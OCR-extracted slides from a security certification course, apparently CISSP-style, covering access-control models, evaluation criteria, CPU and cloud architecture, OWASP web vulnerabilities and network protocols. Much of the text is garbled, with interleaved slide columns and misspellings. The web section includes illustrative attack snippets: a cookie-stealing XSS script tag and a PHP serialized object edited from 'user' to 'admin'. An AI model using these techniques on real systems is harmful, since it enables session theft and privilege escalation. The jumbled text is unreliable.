v’ Create rule X creates (tg to) new v Subject| Object 1 Object 2 Object 3 Object 4
o Allows a subject to create new rights X grants (g to V) to y Stuart Read Read, Writae Read Full Control
v ts (B o)t Bob Full Control No Access No Access Read
Remove rule verants (Btoz)tov Kevin Read, Write |Full Control Read No Access ‘
o Allows a subject to remove rights it has x takes (B to2) from v No Access |Full Control | Read, Write

Mary |Full Control

P L

Bell-LaPadula Model Bell-LaPadula Model

Three Security Properties

ST°p Simple No

« Developed from DoD’s multilevel security policy which states that a Scret Security = Read
subject with any level of clearance can access resources at or below its - Property s " Up
clearance level, but higher clearance levels also require a need-to-know: Stal No
caveat to access data and objects at that level Secret Security = Write

| = Prevents leaking or transferring classified information to less secure Property  Down

§ clegrance levels and _is acpomplished_ py bIo<_3king lower-classified Discretionary
subjects from accessing higher-classified objects : Confidential Security
The Bell-LaPadula model is focused on maintaining the confidentiality of Geperty
objects, but does not address integrity or availability for objects 1
Unclassified

A system uses an access
matrix to enforce
discretionary access col



o Biba Model I Biba Model

classification label Confidential I:::;’::fy i R'::d
Biba integrity properties: Property Down

v' Simple Integrity Property

o A subject cannot read an object at a lower integrity level i
v Star Integrity Property Imset;‘:“y : V\xﬁe
: o A subject cannot modify an object at a higher integrity level SRR Property Up
+ Biba was designed to achieve three objectives:
v' Prevent modification of objects by unauthorized subjects
v Prevent unauthorized modification of objects by authorized subject Bublic

v’ Protect internal and external object consistency

By

R AT Wilson Model o Clark-Wilson Model

~ + Anintegrity model for commercial environments that defines subjects, transactions, or
objects (i.e. Access Control Triple) and ensures data integrity through:

v' Subjects do not have direct access to objects
v Objects can be accessed only through transactions
v Integrity is maintained with well established transactions and separation of duties : ST
A subject accesses objects through limited transactions (i.e. Constrained Interface)
+ Clark-Wilson establishes:
v' Constrained Data Item (CDI)
o Data item whose integrity is protected by the security model
v Unconstrained Data Item (UDI)
o Data item is not controlled by the security model (i.e. Unvalidated inputs)
v Integrity Verification Procedure (IVP)
o Procedure that scans data items and confirms their integrity
v Transformation Procedures (TP)
o Procedl{rgs that are allowed to modify a CDI

e A

Interface / Access Portal

Access to information is established by a
program that specializes in access management

. s N

TF

g Brewer and Nash Model Graham-Denning Model

Securely creates and deletes subjects and objects
Applies eight protection rules to secure systems:
v’ Securely create an object

v’ Securely create a subject

v' Securely delete an object

v Securely delete a subject

v’ Securely provide the read access right

v’ Securely provide the grant access right

v’ Securely provide the delete access right

v’ Securely provide the transfer access right
Access control matrices specify subject access to objects

Protects a single integrated database and creates
dynamic controls based on previous user activity
Known as the Chinese Wall model, it establishes
security domains to prevent Conflicts of Interest
(COlI)

COl’s are prevented by ensuring data is isolated
~within conflict classes to keep users out of
potential COI scenarios

Dynamic business environments necessitate

- dynamic updates of members and conflict classes




Graham-Denning Modél

Subject|Stuart [Bob |[Kevin |Mary| Object 1 Object 2 Object 3 Object 4
Stuart i s rw- T

Bob 5 e o Twx

Question Set #1

Kevin & WX s P =
Mary

* Security Control History

One of the first security standards developed by the U.S. gogérnnieht
was the Trusted Computer System Evaluation Criteria (TCSEC) by the
Department of Defense (DoD)
The objective of the TCSEC was to develop security focused standar
that would be utilized by government agencies

In addition to U.S. efforts, other European countries established the
Information Technology Security Evaluation Criteria (ITSEC) which was
used until 1998
Both TCSEC and ITSEC were replaced with the Common Criteria (CC)
standard which was adopted by the United States, Canada, France,
Germany, and the United Kingdom in 1998

CC is more formally known as the “Arrangement on the Recognition o
Common Criteria Certificates in the Field of IT Security”

Security Control History

Rainbow Series stedﬂComputer System Evaluatlon

TCSEC was part of the rainbow series and is
identified as the “Orange Book”
» Combines functional and assurance ratings of
confidentiality protections offered by a system
TCSEC contains four main categories:
v’ Category A

o Verified protection
v’ Category B

o Mandatory protection
v Category C

o Discretionary protection
v Category D

The Rainbow Series is a set of security standards and guidelines
published by the United States government through the 1990’s
Although originally published by DoD, all current security related
documentation is published by the NIST National Computer Security
Center (NCSC) L




TCSEC Classes Common Criteria

Class Name Description
D Minimal protection :::i:‘:o:" systems that fail
P cection GRS | e e ividua * Common Criteria defines testing levels for secure systems

users and types of access.

System must distinguish

« Common Criteria objectives:

v Establish consumer confidence in the security of an evaluated
information technology (IT) product

v To eliminate duplicate technical evaluations

v/ Streamline security evaluations and certification processes

v Ensure evaluations of IT products adhere to consistent standards
v Promote evaluations and increase availability of rated IT products
v Evaluate functionality and assurance of a target of evaluation (TOE)

: between individual users and
c2 |controlled access protection (DAC) .
types of access; object reuse
security features required.
Sensitivity labels required
Bl | Labeled security protection (MAC) |for all subjects and storage
objects.
Sensitivity labels required
B2 Structured protection (MAC) for all subjects and objects;
trusted path requirements.
Access control lists (ACLs)
are specifically required;
system must protect against
covert channels.
Formal Top-Level Specification
(FTLS) required; configuration
AL Verified design (MAC) management procedures must be
enforced throughout entire
system lifecycle.

B3 Security domains (MAC)

a

CC Evaluation Assurance Levels

v EAL4 - Methodically Designed, Tested, and Reviewed
| o Applies when developers or users require moderate to high independently
: assured security in conventional commodity products and are prepared to incur
additional security-specific engineering costs.
' ¥ EALS - Semi-Formally Designed and Tested
o Applies when developers or users require high, independently assured security
a planned development and require a rigorous develogment aggroach that does
not incur unreasonable costs from specialist security engineering techniques.
~/ EALG - Semi-Formally Verified Design and Tested
o Applies when developing security targets of evaluation for application in high-risk
situations where the value of the protected assets justifies the additional costs.
EALY - Formally Verified Design and Tested ;

o Applies to the development of security targets of evaluation for application in «
extremely high-risk situations, as well as when the high value of the assets
g stn" ies the hlgher costs.

CC Evaluation Assurance Levels

| vV EAL1 - Functionally Tested
i o Applies when you require confidence in a product's correct operation, but do no
view threats to security as serious. An evaluation at this level should provide

evidence that the target of evaluation functions in a manner consistent with its
documentation and that it provides u useful protection against identified threats.. protection against identified threats

,v v EAL2 - Structurally Tested

o Applies when developers or users require low to moderate independently
assured security but the complete development record is not readily available.
This situation may arise when there is limited developer access or when there i
an effort to secure legacy systems. .

EAL3 - Methodically Tested and Checked

o Applies when developers or users egulre a moderate level of independently
assured security and require a thorough investigation of the target of evaluation
and its development, without substantial reengineering.

Certification and Accreditation

» Organizations that require secure systems usually require a formal
| evaluation process to determine how well a system meets their security
- requirements and can be divided into two phases:
v Certification
o Atechnical evaluation of each component of a computing system to
determine its alignment with security standards
o Before starting a certification, it is necessary to choose evaluation criteria
and then analyze each component to determine whether it satisfies the
desired security goals
o Certification analysis includes testing system hardware, software, and
configurations to evaluate administrative, technical, and physical controls
applied to each
- ¥ Accreditation
o The formal approval of a system by a designated approving authority (DAA
or Authorization Official (AO) for internal accreditation, and the Security
Control Assessor (SCA) for external accreditation

Question Set #2










w@ " CPU Execution — Multiprocessing

Multiprocessing
v Running multiple tasks on multiple processors
o Symmetric Multiprocessing (SMP) Multiprocessing

= A single computer with multiple g
puting e
System |

processors controlled by a single

W CPU Execution — Multiprogramming
b

i

¢ Multiprogramming

v Running multiple tasks pseudo-simultaneously on a single processor
to increase operational efficiency

v Serializes processes by saving process states before beginning

another process :
_ operating system, memory, and data _
Multiprogramming . g i ;
e o Massively Parallel Processing (MPP) CcPU
| Program 1| i i 1 2 3 n
e = A computer with hundreds of i
e ¢ processors that each contain their 5
own operating system, memory, and
Main Memory data bUS

CPU Execution — Multitasking

Multitasking
v Running two or more tasks simultaneously

W ' CPU Execution - Multithreading

* Multithreading

v’ A thread is a self-contained sequence of instructions which
B execute in parallel and are all part of a parent process

v Running concurrent tasks with a single process using threads

58 Multitasking
Job 1
Multithreading Bl -\

AN

1 2 3 n

W ; CPU Processing Types

B

CPU Protection Mechanisms

* To prevent disclosure of information, processors can be configured
from either a policy or hardware implementation standpoint:

|+ Single State Processing
f v Uses policy to manage different information levels i g :

v Administrators approve processors and systems to handle only one m operating system, application, or utility
security level at a time and users must be approved to handle v Modern protection rings contain kernel,
information at a higher classification level ] device drivers, and user applications

. * Multistate Processing g . v’ The highest level of privilege resides at
v Uses technology to manage different information levels ' the kernel and decreases until reaching

v Hardware or software is configured to handle multiple security user applications
levels simultaneously

v' Technical mechanisms prevent cross domain spillage

‘ | * Protection Rings
v Organize code and components in an

Device drivers
Device drivers

Applications




CPU Operating States

8 CPU operating states include:
v Ready State

o A process loaded into main memory and pending CPU execution
v Waiting State — Blocked State

o A process requiring system resources before being processed
v/ Running

o A process executes until it completes, time expires, or is blocked
v’ Supervisory

o A higher privilege level process that can modify system configuratio

install device drivers, or change security settings

v’ Stopped ; X

o A completed process that gives an operating system time to recov
resources to allow process reuse

CPU Operating States

Schedule / Dispatch

Reguest

Suspend

Process completed 116
but still in suspend

B Al .java_tpoint.comlgs-process-states

kéecurity Mode Background” Security Modes

Four approved security modes for processing classified information:
v Dedicated Mode
v’ System High Mode
v' Compartmented Mode
v Multilevel Mode
Three elements must exist to use security modes:
v Must have a mandatory access control (MAC) environment
v' Control over subjects that access computer consoles
v’ Control over facilities that contain computer consoles

A subject that requires access to a data object to perform a job must
also have a need to know, regardless of the privilege level they hold

Dedicated Mode
v’ Each user of a dedicated system must have:
o A security clearance to access all information processed by the system
o Access approval for all information processed by the system '
o A valid need to know for all information processed by the system
System High Mode
v’ Each user of a system high system must have:
o A security clearance to access all information processed by the system
o Access approval for all information processed by the system

o A valid need to know for some information processed by the system, but
not necessarily all information processed by the system .

il AL il AL

CPU Operating Modes

- Modern processors and operating systems support multiuser environments and run
in two modes of operation:

v User Mode
o Limits CPU instruction sets to protect users from damaging system resourci
o Usually executed within virtual machines (VM) to isolate resources
v Privileged Mode
o Also known as supervisory, system, or kernel mode
o Creates VMs and prevents VM processes from interfering

Security Modes

Compartmented Mode
v’ Each user of a compartmented system must have:
o A security clearance to access all information processed by the system A
o Access approval for any information they have access to
o A valid need to know for all information they have access to
Multilevel Mode - PDMCL
v System access is controlled a subject’s clearance level and compares it

with an object’s sensitivity label Nore Users
v’ Each user must have access approval for all information they will have System | Application| User User
access to on the system Programs bl’mgram% programs | mode
2 Library routines
v’ Each user must have a valid need to know for all information they will have : System calls ol .
; erne
access to on the system Operating System mode
: pLess | Computer Hardware

il AL il AL
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Memory

» Systems use several different types of memory including:
v' Read-Only Memory
v Programmable Read-Only Memory
v’ Erasable Programmable Read-Only Memory
v Electronically Erasable Programmable Read-Only Memory
v’ Flash Memory
* Random Access Memory
v Real Memory
v’ Cache RAM

Question Set #1

e e

Mémory Addressing

- Memory is accessible through four addressing schemes:
v Immediate Addressing

o Technically not a memory addressing method, but rather a way of referrint
to data that is supplied to the CPU as part of an instruction

v' Direct Addressing

o A specified memory address located on the same memory page as the
instruction being executed

o Memory contents are not hard-coded data unlike immediate addressing
v' Indirect Addressing

o A pointer to a memory address

o CPU’s read indirect addresses and point to data content
v Base+Offset Addressing
o Addressing that uses values stored in a CPU register

CPU Registers

* CPU’s contain limited onboard memo
known as registers to provide direct
access to CPU memory locations within
arithmetic-logical unit (ALU)

» The main advantage of this type of 1
memory is that it is part of the ALU and
is synchronized with the CPU ;

¢

e e

Firmware

Storage

Storage devices provide near- and long-term storage of system programs and
data and include:

v' Primary vs. Secondary

o Primary: CPU Cache, Registers, RAM

o Secondary: HDD’s, SSDs, flash drives, magnetic tapes, CDs, DVDs
v Volatile vs. Nonvolatile

o Nonvolatile devices retain data when not powered

o Volatile devices lose data when not powered
v' Random vs. Sequential Storage

v Random access storage devices read immediately from any point within
the device by memory addressing

v Sequential storage devices are slower than random access storage, b

provide significantly greater capacity

- Basic Input / Output System :
v BIOS contains instructions to load and start operating systems from disk
v' Usually stored on EEPROM and can be updated by “flashing the BIOS'
' Unified Extensible Firmware Interface

v Since 2011, BIOS-based systems have been replaced with UEFI whick:
provides more advanced interfaces between hardware and OS, but also
provides backward compatibility with legacy BIOS

Attacks against BIOS and UEFI are known as phlashing, where malicious
code is embedding onto the BIOS / UEFI directly

¢






"Cloud Computing Service Models Cloud Types

Software as a Service

v Auser can “use” applications owned by the provider

v" The consumer does not manage or control the underlying cloud
infrastructure

Platform as a Service

v Auser can “deploy” programming languages, libraries, services, and |
tools, owned by the provider

v' The consumer does not manage or control the underlying cloud
infrastructure, but can have control over the deployed applications

Infrastructure as a Service

v Auser can “provision” processing, storage, networks, and other
fundamental computing resources :

v Auser can “deploy and run” infrastructure, but does not manage or

control the infrastructure

Private Cloud
¥' Cloud infrastructure provisioned for a single organization
v/ Owned, managed, and operated by:
o The organization
o Third party
¥ The cloud is hosted either
o On cloud provider premises
o Off cloud provider premises
* Public Cloud
¥' Cloud infrastructure provisioned for general public consumption
v Owned, managed, and operated by:
o Abusiness
o Academic organization
o Government organization
v' The cloud is hosted
o On cloud provider premises

il

Cloud Types

Cloud Tenancy

e Multitenancy
v' Provisioning multiple customers across the same system
v Improves cost
v Increases security concerns

» Community Cloud

v Cloud infrastructure provisioned for exclusive use for a
specific community

v" Owned, managed, and operated by:
o One or more of the community organizations
o Third party
v' The cloud is hosted either
o On cloud provider premises
o Off cloud provider premises
» Hybrid Cloud
v' Two or more cloud infrastructure (public, private, community)

Multi-Tenant Single-Tenant

a & & & & &

Tenant 1 Tenant 2

Terant 1 Tenant 2 Tenant 3

Middieware.

B i
o i

Virtualization

Hypervisor
v Hardware, firmware, or software that manages server and virtual
machine resources
Two hypervisor types:
v Type |: Bare Metal
o Runs independent of the operating system
v Type Il: Hosted
o Dependent on the operating system

Hypervisor

Jyvmware
—> e

¢ Host Processors | Memory 1
v Hardware that a Type | or Type Il hypervisor is running on
Guest Disks (|| HEEEK ‘

v' Virtual machine running on a hypervisor
Elasticity
v’ The flexibility to expand or contract based on user needs

A

Physical Hardware

N
SR




Type | Hypervisor Hypervisors

ESX / ESXi* VMWare 1

ZenServer Citrix |
Hyper-V Windows n
Workstation VMWare [}
Player VMWare I B
B
VirtualBox Oracle 1] 2
Processors Memory
. roall B 7
Disks Carde / XenServer ‘
Physical Hardware \vaware' == Miciesoft

vmware «vSphere

Additional Computing Environments

Grid Computing
v  Distributed processing across nodes to achieve a specified goal
v Grid computing projects:
o SETI@home
o LHC Computing Grid
o NFCR Centre for Computational Drug Discovery
« Internet of Things
v' Internet-connected smart devices providing automation, remote control, or
Al processing to home, office, and industrial computing systems
Industrial Control Systems
v A computer-management system that controls industrial systems such as e
manufacturing, fabrication, electricity generation and distribution, water distribution,
sewage processing, and oil refining

v Several types of ICS include distributed control systems (DCSs), programmable ;
logic controllers (PLCs), and supervisory control and data acquisition (SCADA)

Virtualization Risks

v Virtual Machine Escape
| Y Hypervisor Subversion

I v Processor Privilege Escalation
v’ Cross VM Side Channel Attack
v Data Exfiltration

Web-Based Systems
Vulnerabilities

Question Set #2




Drive-By Compromise
Web Application Vulnerabilities
* An attacker's initial access to a web server is based on exploitation of web server
and application vulnerabilities
-+ The Open Web Application Security Project provides the security community with
methods to help improve software security and publishes a “Top 10” list of web
application vulnerabilities on an annual basis
v Injection
Broken Authentication and Session Management
Sensitive Data Exposure
XML External Entities (XXE)
Security Misconfiguration
Cross-Site Scripting (XSS)
Insecure Deserilaization
Using Components with Known Vulnerabilities
Insufficient Logging and Monitoring
Privilege Escalation

i

Open Web Application
Security Project

| SO AN GR LN

SQL Injection

Attacker attempts to run a
badly formed SQL query in
input fields or within a URL

Badly formed SQL query is successfully run on the SQL database and
results in undesired data leakage and / or database modification

=)

Vulnerable
Web Application

Attacker receives back
leaked data or database
modification information

Sensitive Data Exposure

T »’*’”“ga
.
2

« Attackers can achieve sensitive data exposure
through numerous attack methods

P v Key stealing
¥v' Man-In-The-Middle Attacks
v  Stored cleartext data
¥ Transmitted cleartext data
v Pass-The-Hash
v' Brute force attacks against encrypted data
o Weak encryption and hashing algorithms
o Weak password hashing storage
o Weak key generation
o Weak key management

Unencrypted Main Memory (RAM)

OWASP

Web-Based Injection

» Web-Based Injections comes in different flavors

§ v Structured Query Language (SQL) Injection
v" NoSQL Query Injection
v Lightweight Directory Access Protocol (LDAP) Injection
v Hibernate Query Language (HQL) Injection

|+ Injections attempt to manipulate data or invoke stored procedures by manipulating - :
~ request parameters :

http://somewhere.com/app/accountView?id=

Broken Authentication and Session Management

SecList Wordlists

Broken authentication and lack of effective session

management occur due to improper security control

implementation

« Broken authentication and lack of session
management examples

v Lack of two-factor authentication (2FA)

v Lack of session timeout mechanisms

v Session hijacking

= SeclLists

Password Complexity Testing

XML External Entities

» Many web apps use XML processors to parse XML data for future use

» When accessed through a web service, a Uniform Resource Identifier
~ (URI) can be manipulated by allowing XML commands known as XML
External Entity (XXE) attack resulting in data extraction, remote code
execution, network characterization, and system level denial-of-service

[ ason ] meaues Lmsspome | i
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XML External Entities ! Broken Access Control

Access control weaknesses occur when developers fail to conduct functional
testing on web-based applications

Access control checks can be bypassed by modifying URL parameters, internal
application states, HTML/JS code, or by utilizing custom API scripts

Broken access control can be demonstrated through multiple use cases
v Manipulating database primary keys to access other user records
v’ Permitting reading and writing to another account
v’ Directory Traversal
v Replaying JSON Web Token (JWT), cookie, or hidden field manipulation
v' Force browsing to authenticated pages as an unauthenticated user
v' Accessing API with missing access controls for POST, PUT and DELETE «

Response

comple. con/xel HTTP/L.1 HTTP/1.0 208 0C

e 1

Determine XML Processing

Generate Basic XXE Payload XXE File Exfiltration

il AL il AL

T
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; Broken Access Control

Directory Traversal

Broken Access Control
Directory Traversal

Web Root

A directory traversal, also known as path traversal, is an Ivar/www/html

HTTP vulnerability which allows an attacker to modify a
URL that allows access to files or directories outside of
the application’s root folder

Directory traversal attacks occur when a web application
fails to establish proper input validations while including
the files such as images, static texts, and scripts
Although path / directory traversal may seem like Local
File Inclusion (LFl) and Remote File Inclusion (RFI),
path directory traversal vulnerabilities only allow an
attacker to read a file, while LFI and RFI may also allow
an attacker to execute code

http://minions.com

Traversed Loca

Ivar/www/html

Attacker

C:\Inetpub\wwwroot 2§ Google
€« C fi O http://minions.com/...../../

i

© _http:/minions.com/...../

“ “Security Misconfiguration | 'Seédrity Misconfiguration Examplés

Security misconfigurations occur at all TCP/IP layers including
v Network Services

Web Server

Application Server

Database Configuration

Custom Applications

Virtual Machines

Containers

Unpatched Flaws

Default Accounts

Unused Pages

Unprotected Files and Directories i

Utilizing Unnecessary Services

An application server comes with sample applications that are not removed
from the production server
v' Many sample applications have known security flaws attackers use to
compromise the server

+ Directory listing is not disabled on a web server and allows an attacker to list
directories
v' Using directory listings, an attacker can find and download files and
binaries on the web server to reverse engineer applications

An application server configuration allows display of error messages and
exposes sensitive information or underlying flaws

A cloud service provider fails to disable default sharing permissions on a cloud ;
application allowing access to sensitive data

B S e
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the input and runs it without validating it

XSS attacks can result in session stealing, account takeover, Multi-
Factor Authentication (MFA) bypass, Document Object Model (DOM)
node replacement, malicious software downloads, and key logging

There are three types of XSS attacks:
v Reflected XSS

v Stored XSS

v DOM-based XSS

When the database record is downloaded by
the victim, a vulnerable browser will collect
victim cookies and forward them to the attacker

Vulnerable
Web Server

!

Insecure Deserlallzatlon ;

Insecure deserialization occurs when an attacker modifies application logic or
achieves arbitrary remote code execution due to cause unexpected changes
within application classes
Serialization may occur in the following applications:
v Remote Process Communication (RPC)
v Interprocess Communication (IPC)
v Web Services
o HTTP Cookies
o HTML Form Parameters
o Authentication Tokens
v Caching
v Databases
- ¥ File Systems

er which contains
‘malicious code

- Correct PHP Object Serialization

v a:4:{i:0;i:1;i:i;s 4

Stored Cross-Site Scripi

A malicious database
record is appended to

membﬁ)

Legitimate
Database
Record

Script Embedde

Vulnerable
Web Vsierver

An attacker submits a record to the
database with an embedded script

O

i
<script>getCookie(); SendCookie<\script>

i

Reflected Cross-Site Scrlpt :

Victim’s browser is directed to
a vulnerable web server

The vulnerable web server reflects the
malicious code back to the victim browser

Lastly, the victim's
browser executes
the reflected code
and responses back
to the attacker

Insecure Deserialization Example

v A form that uses PHP object serialization is used to save a cookie contam
user, user ID, role, password hash, and other parameters

v These parameters are not normally accessible except by the web server
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

Manipulated PHP Object Serialization

v However, if objects are accessible arbitrarily then parameters can be
changed by an attacker

Iice;gi:2;3:4:"admin"; i:3;5:32:" b6a8b3bea87fe0e05022f8f3c88bc960";}
















' \Réq\'uest For Comments

e T

TCP/IP

A Request for Comments (RFC) is a type of publication from the
Internet Engineering Task Force (IETF) and the Internet Society
(ISOC), the principal technical development and standards-setting
bodies for the Internet

RFCs define how different protocols will behave to ensure
consistent operation and provide all relevant technical information

Unlike the OSI model which provides 7 layer,
the TCP/IP model contains 4 layers

v’ Application Layer
o Application Data
v’ Transport Layer

o Ports
v Internet Layer e [ M=l Some of common protocol RFC’s

v' RFC 2616 — Hypertext Protocol (HTTP)
v' RFC 959 — File Transfer Protocol (FTP)
v RFC 821 — Simple Mail Transfer Protocol (SMTP)

o IP Addressing
v Network Access Layer
o MAC Addressing

i

Network

e

Network Protocols by

OSl Layer Application Layer

'Xfoplii’é’ation Layer Protocols

e

Applicétion Layer Protocdlé :

[Proocol | Namo

Application layer protocols are focused on shared

communications protocols used by hosts in a FTP File Transfer Protocol - Data PP WE P
communications network FTP FTP - Connection POP3 Post Office Protocol
SSH Secure Shell HTTP Hypertext Transfer Protocol
Every network-based protocol is defined by the SETP SSH FTP POP3 Post Office Protocol
Internet Engineering Task Force (IETF), which is the scp Secure Copy IMAP  Intemet Message Access Protocol
~ organization that publishes technical documentation Telnet TR SNMP  Simple Network Management Protocol
~ known as a Request for Comment (RFC) EMIE Simpie]Maliiiransteriolacol HTTPS HTTP Secure
g : . DNS Domain Name System FTPS FTP over SSL
Each protocol that we discuss will have its own RFC DHCP  Dynamic Host Configuration Protocol RDP R (D i Fies)




‘Secure‘ Shell / Secure FTP / Secure Copy

» Many remote connection protocols are unencrypted and
do not provide confidentiality of data

» FTP provides file transfer between hosts

» As with any TCP-based protocol, FTP must first establish a
connection between hosts

g w "UFile Transfer Protocol
i

» The following protocols are purposely designed to provide 4%
traffic encryption %

e BIP Ports:
v 20/TCP - FTP Data S + SSH/SFTP/SCP Port:
v 21/TCP — FTP Control ' gy pe s ’/ | v 22/TCP
- FTPS Port: T _aecn | AR |
v 990/TCP 3
L]
FTP Data: 20

Siniple Message Transfer Protocol

e SMTP was one of the first protocols dedicated to electronic mail
transmission

e ‘ Telnet

%ﬁ » Alegacy protocol that establishes connections between hosts
’ v Network Devices

L_ata-1.3.8-10p4; o, 15 Jan 2007 16149150 0500 (=57

o Switches | B . smTP Port: SMTP
i o Routers s v 25/TCP

* Telnet provides an unencrypted channel to establish connections % « SMTPS Port:

« Telnet Port: L v 465[TCP. e oo

v 23/TCP T

User Access Verification

PassWOrd: ..coveuenenns o-oocoooc ANST........ P@ssword

Cisco_2514>sshhoows  vveerrssiioonn

Cisco Internetwork Operating System Software
105 (tm) 2508 Software (C2560-3-1), Version 11.2(19a), RELEASE SOFTWARE (fcl)

Copyright (c) 1986-1999 by cisco Systems, Inc
Compiled Wed 18-Aug-99 13:34 by jaturner
Image text-base: Bx@303F288, data-base: Gx@0001000

DNS Details

server(s) to find IP addresses associated with the Fully Qualified DNS Ports:
Domain Name (FQDN) v 53/TCP — DNS Zones .
B ; o v 53/UDP — NSLookups |
E B = composed o s DNS contains records about hosts including: Sl
v Top Level Domain (TLD) e

v A- IPv4 Address
v’ Registered Domain Name . = v AAAA - IPv6 Address P e
L < bdorain B v" CNAME — Canonical Name esse

3 i v" MX — Mail Exchange
FQDN M ¥ PTR — Pointer Record
v" NS — Name Server

www.espn.com q
/ T \ y www.espn.com v' SOA - Start of Authority
Subdomain LD = 13.249.42.23 v SRV — Service
Registered v TXT = Text
Domain 2

Name




DNSSEC

- DNS is insecure because it does not validate DNS responses
but provides integrity by digitally signing DNS responses

DNSSEC require authentication keys for each DNS server

13.249.42.23

www.espn.com

Digital
Signature

- N

03T ons

13.249.42.23

- DHCP IP Pool

¥

192.168.100.10

192.168.100.10
192.168.100.20
192.168.100.30
192.168.100.40
192.168.100.50
192.168.100.60
192.168.100.70
192.168.100.80

5

192.168.100.20
255.255.255.255

192.168.100.30

i
C
Ove,

192.168.100.40

SNMP

addressed devices on a network
v' Hubs

v Switches

v' Routers

~ + SNMP Port:
v 161/UDP

* SNMP unencrypted versions: SNMPv1, SNMPv2c

SNMP encrypted version: SNMPv3

P e TR

DNS Security Extensions (DNSSEC) does not encrypt transmissions, ‘

Dyﬁwafﬂi‘ichbst Configuration Protocol -

DHCP Process
DHCP-Discover
DHCP-Offer

DHCP-Request B
DHCP-Acknowledge

— . . o o

+ Simple Network Management Protocol manages and monitors IP

Sk o

Dynamic Host Configuration Protocol

As systems are turned on and go through the boot process, there will be a time
when they will need to acquire local IP addressing to communicate on a local
area network

Dynamic Host Configuration Protocol (DHCP) is made up of a 4-step process
assign IP addresses

v' DHCP Discover

v DHCP Offer

v' DHCP Request

v DHCP Acknowledge

DHCP Ports:
v' DHCP Servers
o 67/UDP

v' DHCP Clients
o 68/UDP

b

TR T

P‘dst Office Protocol

Unlike SMTP, POP3 is an electronic mail protocol that is designed to
pull emails from a remote server and deliver it to a host-based email
application

ROP3 Port:
* 110/TCP

POP3S Port:
* 995/TCP

e o

' Web Related Protocols

HTTP — Hypertext Transfer Protocol
v Establishes client-server communication with linked content
v' 80/TCP

HTTPS — HTTP with SSL / TLS Encryption
v 443/TCP

SSL — Secure Socket Layer

v’ Transport layer encryption utilizing public key cryptography
v SSL 1.0, 2.0, and 3.0

v/ SSL 3.0 transitioned to TLS 1.0

TLS — Transport Layer Security
v' Transport layer replacing SSL
¥ TLSHIO 1.1, 1:2

b



. pllcat|on / Transport Protocol Su’mmary

Some of the more common remote access proto}cols‘that may

observed during a forensics investigation include:

FTP 20/21 File Transfer Protocol — Data / Connection
7 SSH TCP 22 Secure Shell / Secure FTP / Secure Copy
v Remote DeSktOp Protocol (RDP / XRDP) Telnet TCP 23 Telnet
o TCP/3389 : . swmTP TCP 251465 Simple Mail Transfer Protocol / SMTPS
v Virtual Network Computing (VNC) DNS UDP/TCP 53 Domain Name System — Lookups / Zones i
o TCP/5900 DHCP UDP 67 /68 Dynamic Host Configuration Protocol — Server / Client |
HTTP TCP 80/443 HTTP /HTTPS
POP3 TCP 110 /995 Post Office Protocol / POPS
SNMP UDP 161 Simple Network Management Protocol (v1, v2)

RDP 3389 Remote Desktop Protocol

¢ dis e WA

" Presentation Layer

« Responsible for transforming data received from the Appli
layer into a format that any system can understand

* Most file or data formats operate within this layer including
images, video, sound, documents, email, web pages, contro
sessions, encryption, and compression

« Presentation Layer Protocols

v American Standard Code for Information Interchange (ASCII)

v’ Extended Binary-Coded Decimal Interchange Mode (EBCDICM)

v Tagged Image File Format (TIFF)

v Joint Photographic Experts Group (JPEG)

v Moving Picture Experts Group (MPEG)

v Musical Instrument Digital Interface (MIDI)

Presentation Layer

B * ;
resentatlon Layer Protocol Exam les :
ASC" T?ble * s 0 JPEG Encoder

AR

ariccks

s

Compresses
Image Data
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Session Layer

Datastream
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Session Layer — Dialogue Control

! 7 One Way Transmission !/ V.
/ Two Way Transmissions !’ /7
One at a Time

<,
<,
<,
i

® Session Layer

Responsible for establishing, maintaining, and
terminating communication sessions between two
computers

Manages dialogue control and establishes checkpoints
for grouping and recovery, and retransmits PDUs that
have failed or been lost since the last verified checkpoint
v’ Simplex

v’ Half-duplex

v' Full-duplex

Session Layer Protocols

v Network File System (NFS)

v Structured Query Language (SQL)

¥ Remote Procedure Call (RPC)

‘Simplex

A
A

Session Layer

Network Layer

A\

\

T I
&7
KI/ Simultaneous Transmissions /

e e

 Establishes logical connection between devices and
provides end-to-end transport services for data delivery

Provides mechanisms for segmentation, sequencing,

error checking, controlling the flow of data, error
correction, multiplexing, and network service it

optimization

Transport Layer Protocols

v' Transmission Control Protocol (TCP)
v User Datagram Protocol (UDP)

v’ Secure Sockets Layer (SSL)

‘ v' Transport Layer Security (TLS)

Transport Layer

¢

Transmission Control Protocol

e TR

:‘El:r“ﬁansport Layer — TCP Flags

TCP flags are an important component of TCP transmission since they
define how connections are requested, established, maintained, and
terminated

~ *» The more common TCP flags include:
v'URG - Urgent: Data forwarded immediately

v'ACK - Acknowledgement: Acknowledge packets successful
received by a host

v'PSH - Push: Immediately sends segments to network layer after
receiving application layer signals

* Defined in RFC 793

v'Source Port (2 Bytes)

v Destination Port (2 Bytes) — . [
v Sequence Number (4 Bytes) || s s i U5 i o

v Ack Number (4 Bytes)
v'Data Offset (1 Nibble)
v'Reserved (1 Nibble)

v TCP Flags (1 Byte)*
v'Window Size (2 Bytes) N
v Checksum (2 Bytes) i

i
(79 bytes)
9 bytes

~ Hypertext 1 . H
IR @Byie ) e trannsos e eeee s (e St Rotdl
: R eed 2< 00 50 e v'SYN — Synchronize: Synchronization of sequence numbers
v Options (4 Bytes) e e wasrad e Pl Y -

0050 31 0d Oa 48 6f 73 74 3a 20 77 77 77 2e 65 74 68
0060 65 72 65 61 6c 2e 63 6f 6d 0d 0a 55 73 65 72 2d

v FIN — Final: No further data from client
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’TCP Connection Process ’Transport Layer — Acknowledgeh;ié“r'lts

~+ Windowing is the method used to identify the allowable amount of traffic
sent to a system before an acknowledgement message is returned

The size of the windows are established during the 3-way handshake
process

|+ The window size is specified in bytes
g v/ TCP Windows — Can support up to 1 GB windows
Example: Windows Size of 3

TCP ensures reliable data delivery through error checking,
acknowledgements, and if necessary, retransmission ;
In order to communicate with TCP, hosts must first establish a connection
which is known as a “virtual circuit”
A successful “three-way” handshake is required before the virtual circuit
is established

The handshake process also establishes acknowledgement and
windowing parameters during transmission

PEEREY =\ A S

Packet 1
b USYNIBO T et Packet 2
SYN / ACK:25500 P P
AR L R 2 7 acket 3
&7 ACK:80 5 & 1 SR

e i’i‘ahébort Layer — Acknowledgerﬁé‘hts e i’i‘ahébort Layer — Acknowledgerﬁé‘hts

If there were a window size of 5 and the following scenario occurred
